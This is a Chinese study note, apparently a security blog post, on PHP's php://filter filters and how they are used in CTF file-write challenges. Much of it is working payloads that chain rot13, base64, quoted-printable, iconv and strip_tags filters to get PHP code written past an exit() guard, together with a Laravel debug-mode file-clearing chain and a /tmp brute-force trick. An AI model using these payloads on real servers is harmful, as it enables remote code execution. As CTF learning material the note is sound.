前言
众所周知,文件包含常与php://filter
一起出现,虽然出现的多,但是payload的组合也就那么几种,所以我并没有怎么去了解过。不过最近在复现Laravel mode debug漏洞时phar反序列化RCE的姿势也用到了php://filter
且对其过滤器的作用需要有一定的理解,因此就诞生了这篇学习笔记。
介绍
引用官方手册:
php://filter
是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()
、file()
和file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。php://filter
目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
参数
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
Trick
1、嵌套多个过滤器实现过滤器组合拳
|
|
2、内部可嵌套一层参数
例题:[BSidesCF 2020]Had a bad day
|
|
3、遇到不认识的过滤器php只会报个warning,不会终止运行
过滤器
大纲
|
|
字符串过滤器
string.rot13
(自 PHP 4.3.0 起)对字符进行简单的单表替换,将字母表的后13位字母替换前面的13位字母,遇到其他的字符直接跳过。
string.toupper、string.tolower
(自 PHP 5.0.0 起)字符串大小写转换
string.strip_tags
string.strip_tags返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。本特性已自 PHP 7.3.0 起废弃。
注意:HTML标签和 PHP 标签
<?代码?>
也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。
转换过滤器
convert.base64-encode
对给定字符串进行base64编码
convert.base64-decode
对给定base64编码内容解码
注意:
1、base64解码时是4bytes一组,因此将目标字符解码成乱码时需手动添加字符凑够4的倍数
2、
convert.base64-decode
过滤器读文件时会将一些非base64字符给过滤掉后再进行decode
,和一些过滤器组合可以用来删除文件内容
convert.quoted-printable-encode
将 8-bit 字符串转换成 quoted-printable 字符串
8-bit字符串:10000000~11111111,即ASCII值在128~255之间的字符串
quoted-printable 字符串:
=十六进制形式
,如=42为B
convert.quoted-printable-decode
将 quoted-printable 字符串转换为 8-bit 字符串
注意:可以转化从=00到=FF,即ASCII值从0~255之间的字符串
convert.iconv
字符串按要求的字符编码来转换
使用格式:convert.iconv.当前编码.目标编码
支持的编码方式
* 表示该编码也可以在正则表达式中使用。 ** 表示该编码自 PHP 5.4.0 始可用。
压缩过滤器
zlib.deflate压缩、zlib.inflate解压
自 PHP 5.1.0 起,在激活 zlib的前提下可用。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在
5.0.x
版中使用。此过滤器在 PHP 4 中 不可用。
相对于压缩封装协议可以在本地文件系统中 创建 gzip 和 bz2 兼容文件,但不可以在网络的流中提供通用压缩的意思,也不可以将一个非压缩的流转换成一个压缩流。压缩过滤器zlib.*
可以在任何时候应用于任何流资源。
注意: 压缩过滤器不产生命令行工具如
gzip
的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress、bzip2.decompress
自PHP 5.1.0 起,在激活 bz2支持的前提下可用。也可以通过安装来自 » PECL的 » bz2_filter包作为一个后门在
5.0.x
版中使用。此过滤器在 PHP 4 中不可用。
工作方式与上面相同
加密过滤器
mcrypt.*、mdecrypt.*
mcrypt.*
和 mdecrypt.*
使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername
,其中 ciphername
是密码的名字,将被传递给 mcrypt_module_open()。
过滤器参数
参数 | 是否必须 | 默认值 | 取值举例 |
---|---|---|---|
mode | 可选 | cbc | cbc, cfb, ecb, nofb, ofb, stream |
algorithms_dir | 可选 | ini_get('mcrypt.algorithms_dir') | algorithms 模块的目录 |
modes_dir | 可选 | ini_get('mcrypt.modes_dir') | modes 模块的目录 |
iv | 必须 | N/A | 典型为 8,16 或 32 字节的二进制数据。根据密码而定 |
key | 必须 | N/A | 典型为 8,16 或 32 字节的二进制数据。根据密码而定 |
这里只是做个了解,代码中使用可以参考文章,传参的话不知道咋用emm
应用
死亡exit()
参考: file_put_content和死亡·杂糅代码之缘 关于file_put_contents的一些小测试 LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION
概念都了解得差不多了,接下来就是实际应用了,在CTF中有一种十分有效的理解php://filter
的题型:死亡exit()
(个人叫法),所以下面会通过这个来理解各种过滤器及过滤器搭配的效果。
所谓死亡exit()
就是在写入文件的内容前面添加exit()函数提前结束运行,我们需要做的就是通过过滤器让php识别不到exit()从而执行我们写入的代码。
示例代码
|
|
说明:情况2与情况1不同之处在于content既可以作为内容,也可以作为写入文件名,且使用php://filter
时写入内容会由于//
符号被注释掉(//
符号一般不在正常编码的符号表中),因此这种情况下的payload需要处理一下。
单一过滤器
下面payload都省略了write参数,因为在使用file_put_contents
函数时会自动使用write参数。
情况一
payload1:string.rot13
条件:short_open_tag=off
?file=php://filter/string.rot13/resource=tyskill.php&content=<?cuc cucvasb();
payload2:convert.base64-decode
如上面介绍所说,base64解码是4bytes一组,而<?php exit();
满足base64符号表的只有七个字符,因此需要在插入的base64编码字符串前面添加一个字符凑满4的倍数。
?file=php://filter/convert.base64-decode/resource=tyskill.php&content=xPD9waHAgcGhwaW5mbygpOw==
payload3:convert.iconv.*
<?php exit();
字符一共13位
# usc-2: 对目标字符串进行2位一反转
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php&content=tyskill?<hp phpipfn(o;)
# usc-4: 对目标字符串进行4位一反转
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php&content=tyskill?<hp phpipfn(o;)
情况二
与上面的payload大致相同,无非就是将写入内容嵌套进过滤器内部,由于php遇到不认识的过滤器只是报个warning,不会终止运行,所以写入内容能跟着payload进入文件。
payload1:string.rot13
条件:short_open_tag=off
此时由于//
的注释效果,我们需要添加%0a换行从而执行php代码
?content=php://filter/string.rot13|%0a<?cuc cucvasb();/resource=tyskill.php
convert.base64-decode
不能使用,原因如下:base64中
=
字符起到一个填充的作用,也是结束的标识,如果在=
后面还存在字符则会解码失败,即使这里省略了write参数的=,resource的=仍然无法省略。所以这种既作为文件名又作为文件内容的无法使用单一base64解码解决。
payload2:convert.iconv.*
<?php exit();
字符一共13位
# usc-2: 对目标字符串进行2位一反转
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|tyskill?<hp phpipfn(o;)/resource=tyskill.php
# usc-4: 对目标字符串进行4位一反转
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|tyskill?<hp phpipfn(o;)/resource=tyskill.php
过滤器组合拳
由于string.strip_tags
可以将php标签<?...?>
及其内容全部删除,因此只要使用编码将<?php phpinfo();?>
隐藏,那么它可以作为一种万金油搭配(php<7.3.0)
注意: 1、不要忘了写入内容时添加
?>
终止删除效果 2、由于情况二的payload都是从情况一的payload修改而来,因此二的payload理所当然适用于一。
情况一
payload1:string.strip_tags|convert.base64-decode
条件:php<7.3.0
?file=php://filter/string.strip_tags|convert.base64-decode/resource=tyskill.php&content=?>PD9waHAgcGhwaW5mbygpOw==
payload2:string.strip_tags|convert.quoted-printable-decode
条件:php<7.3.0
?file=php://filter/string.strip_tags|convert.quoted-printable-decode/resource=tyskill.php&content=?>=3c=3f=70=68=70=20=70=68=70=69=6e=66=6f=28=29=3b
payload3:LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION提出的清空文件再写入操作
原理和上面也差不多,就是通过转换编码然后利用过滤器convert.base64-decode
删除文件内容从而写入我们自己的🐎(这个方法需要的过滤器有点多,正常情况下不需要用到。。。)
该姿势没办法用于情况二(可能是我没发现怎么用
1、准备🐎(正常来说清空文件那步CTF中用不到)
echo "<?php phpinfo();?>" | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
2、写入文件并删除干扰字符(a补足4位base64解码需求)
?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=tyskill.php&content=a=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=7A=00=38=00=2B=00=43=00=67=00=3D=00=3D=00
这样剩下的就是我们自己的🐎了
payload4(失败):zlib.deflate|string.tolower|zlib.inflate
报错信息:
Parse error: syntax error, unexpected '@'
写入内容:<?php@?xit();<?php@phpinfo();
这写入内容看着就不像能成功的样子吧。。。也不知道啥条件下能解析成功
?file=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=tyskill.php&content=<?php+phpinfo();
情况二
payload1:string.strip_tags|convert.base64-decode
条件:php<7.3.0
之前的写入失败是由于resource后面的=导致解码失败,借助string.strip_tags
的删除效果我们可以通过php标签删除=。
?content=php://filter/string.strip_tags|convert.base64-decode|?>PD9waHAgcGhwaW5mbygpOw==<?/resource=tyskill.php
payload2:string.strip_tags|convert.quoted-printable-decode
条件:php<7.3.0
原理同上
?content=php://filter/string.strip_tags|convert.quoted-printable-decode|?>=3c=3f=70=68=70=20=70=68=70=69=6e=66=6f=28=29=3b<?/resource=tyskill.php
payload3:convert.iconv.*|convert.base64-decode
通过convert.iconv.*
的编码转换也可以消除=,不过这里和上面使用string.strip_tags
不同的是这里需要考虑到payload本身字符的长度是否满足base64解码的需求
<?php phpinfo();?>
编码为PD9waHAgcGhwaW5mbygpOz8+
,前面添加的aa是为了补上前面58位长的base64字符,后面只要添加=(几个无所谓)就可以成功(原因我也不是很清楚
?content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaPD9waHAgcGhwaW5mbygpOz8+=/resource=tyskill.php
payload3(失败):zlib.deflate|string.tolower|zlib.inflate
除了上面出现过的@
无法运行问题,还出现了新的问题:内容加了<?
就写不进去,不加又不能解析。。。
?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|%0a<?php phpinfo();/resource=tyskill.php
其他
segment fault
php7在使用string.strip_tags过滤器时会发生Segment Fault,此时上传的文件会以临时文件的形式被保存在/tmp
目录下,Linux的临时文件名是六位,Windows是四位,可以爆破。
注意,上传文件要与string.strip_tags同时发生
条件:7.0.0 <= PHP Version < 7.0.28
payload
|
|